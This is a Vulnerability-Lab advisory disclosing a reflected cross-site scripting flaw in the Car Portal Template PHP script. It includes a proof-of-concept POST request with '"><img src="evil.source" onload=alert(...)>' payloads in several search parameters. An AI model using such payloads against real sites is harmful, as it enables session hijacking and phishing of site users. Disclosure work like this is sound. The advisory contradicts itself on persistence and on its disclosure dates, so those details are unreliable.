Car Portal Template Cross Site Scripting

`Document Title:  
===============  
Car Portal Template - (Search) Persistent Web Vulnerability  
  
  
References (Source):  
====================  
https://www.vulnerability-lab.com/get_content.php?id=2299  
  
  
Release Date:  
=============  
2022-02-08  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
2299  
  
  
Common Vulnerability Scoring System:  
====================================  
5.6  
  
  
Vulnerability Class:  
====================  
Cross Site Scripting - Non Persistent  
  
  
Current Estimated Price:  
========================  
500€ - 1.000€  
  
  
Product & Service Introduction:  
===============================  
Advanced web solution for creating multi-user car classifieds and auto portal websites. The software has many different features  
for both the administrators to manage the sites and for the users like functionality for the car dealers to create and manage  
their own micro site, email alerts in order to notify the users when new cars meeting their search criteria are listed, save the  
car listings, recommend them to friends, share the listings on the social networks, multi-language support and many others.  
  
(Copy of the Homepage:https://www.netartmedia.net/pricing#car-portal )  
  
  
Abstract Advisory Information:  
==============================  
The vulnerability laboratory core research team discovered a non persistent post inject vulnerability in the Car Portal Template PHP Script.  
  
  
Affected Product(s):  
====================  
NetArt Media  
Product: Car Portal Template PHP Script (v2021) - CMS (Web-Application)  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2021-09-01: Researcher Notification & Coordination (Security Researcher)  
2021-09-02: Vendor Notification (Security Department)  
2021-**-**: Vendor Response/Feedback (Security Department)  
2021-**-**: Vendor Fix/Patch (Service Developer Team)  
2021-**-**: Security Acknowledgements (Security Department)  
2021-02-08: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Authentication Type:  
====================  
Pre Auth (No Privileges or Session)  
  
  
User Interaction:  
=================  
Low User Interaction  
  
  
Disclosure Type:  
================  
Responsible Disclosure  
  
  
Technical Details & Description:  
================================  
A non-persistent post inject web vulnerability has been discovered in the official Car Portal Template PHP Script.  
The vulnerability allows remote attackers to inject malicious script code in post method requests to compromise user  
session data or to manipulate application contents for clients.  
  
The cross site scripting web vulnerability is located in the `username`, `user_first_name`, `user_last_name`, `variant`,  
`power`, and `milage` parameters of the `index search` module. Remote attackers without privileged access are able to  
inject own malicious script code in the search input field of the index module post method request. The execution takes  
place in the results page of the search after submit via post.  
  
Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent  
external redirects to malicious source and non-persistent manipulation of affected application modules.  
  
Request method(s):  
[+] POST  
  
Vulnerable File(s):  
[+] index.php  
  
Vulnerable Input(s):  
[+] Trim  
[+] Power  
[+] Milage  
[+] First name  
[+] Last name  
[+] Username  
  
Vulnerable Parameter(s):  
[+] username  
[+] user_first_name  
[+] user_last_name  
[+] variant  
[+] power  
[+] milage  
  
  
Proof of Concept (PoC):  
=======================  
The client-side post inject web vulnerability can be exploited by remote attackers without account and with low or medium user interaction.  
For security demonstration or to reproduce the cross site web vulnerability follow the provided information and steps below to continue.  
  
  
--- PoC Session Logs (POST) ---  
https://car-portal-template.localhost:8080/cars2/index.php  
Host: car-portal-template.localhost:8080  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 878  
Origin:https://car-portal-template.localhost:8080  
Connection: keep-alive  
Referer:https://car-portal-template.localhost:8080/cars2/index.php  
Cookie: language=en; PHPSESSID=23d238178bfb19f9bd93f25f1b465822  
ad_type=&selected_package=0&property_type=1,1&property_zip=&price=,&mod=sell&lang=en&Step=2&current_type=1  
&type=1&username="><img src="evil.source" onload=alert(document.domain)>&password="><img src="evil.source" onload=alert(document.domain)>  
&user_first_name="><img src="evil.source" onload=alert(document.domain)>&user_last_name="><img src="evil.source" onload=alert(document.domain)>  
&[email protected]&user_phone=&car_make=Aixam&car_model=505&variant="><img src="evil.source" onload=alert(document.domain)>  
&year=2004&location1=18&location2=-1&level_location=&post_location=18  
&power="><img src="evil.source" onload=alert(document.domain)>&mileage="><img src="evil.source" onload=alert(document.domain)>  
&transmission=M_MANUAL&fuel_type=M_PETROL&exterior_color=M_WHITE&description=  
-  
POST: HTTP/2.0 200 OK  
server: Apache  
set-cookie: language=en; expires=Tue; Max-Age=31536000  
vary: Accept-Encoding  
content-encoding: gzip  
content-length: 6974  
content-type: text/html; charset=UTF-8  
  
Note: Searched queries can also be saved to be replied by the client-side within the session to followup exploitation.  
  
  
Reference(s):  
https://car-portal-template.localhost:8080/  
https://car-portal-template.localhost:8080/cars2/  
https://car-portal-template.localhost:8080/cars2/index.php  
  
  
Credits & Authors:  
==================  
Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab  
  
  
Disclaimer & Information:  
=========================  
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We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.  
  
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`